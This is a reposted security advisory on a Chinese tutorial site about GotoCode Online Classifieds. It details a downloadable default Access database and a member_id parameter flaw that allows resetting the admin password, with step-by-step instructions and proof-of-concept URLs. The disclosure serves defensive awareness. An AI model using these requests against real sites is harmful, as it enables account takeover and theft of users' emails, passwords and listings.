来源:自学PHP网 时间:2015-04-17 14:47 作者: 阅读:次
[导读] 标题: GotoCode Online Classifieds Multiple Vulnerabilities缺陷描述: Privilege Escalation / Remote Database Download作者: Nathaniel Carew www.2cto.com下载地址: http://www.gotocode.co......
标题: GotoCode Online Classifieds Multiple Vulnerabilities 缺陷描述: Privilege Escalation / Remote Database Download 作者: Nathaniel Carew www.2cto.com 下载地址: http://www.gotocode.com/apps.asp?app_id=5& 平台: ASP.NET 测试系统: MS Windows Server Standard 2003 SP2 / IIS 6
致谢: Peregrinus & Birch Meister General
概述:
Database:
If the application is configured using the default directory structure and an
access database then a user can download the access database.
Privilege Escalation:
First reset your own password via the 'Registration' link:
http://www.2cto.com /[path]/Registration.aspx
This now takes you to a new page where you can select the 'Edit my info' link:
http://www.2cto.com /[path]/MyInfo.aspx?member_id=10&
Change the above GET URI to member_id=1& and refresh
Now by modifying the following variables in the POST data you can reset the admin password
with the password you entered into the appropriate field to gain full admin rights to the web application:
p_Record_member_id=1
Record_member_id=1
Record_name=admin
Record_member_password=newpass
Proof of Concept:
-----------------
http://www.2cto.com /[path]/Classifieds_MSAccess.mdb
http://www.2cto.com /[path]/MyInfo.aspx?p_Record_member_id=1&Record_member_id=1&Record_name=admin&Record_member_password=newpass&Record_email=moo&Record_location=&Record_home_phone=&Record_work_phone=
Impact:
-------
By resetting the admin password an attacker would be able to completely control the application, users
and their associated data. Successful database exploitation would allow an attacker to download the complete
database of users information including email addresses usernames, passwords and associated classified listed data. |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com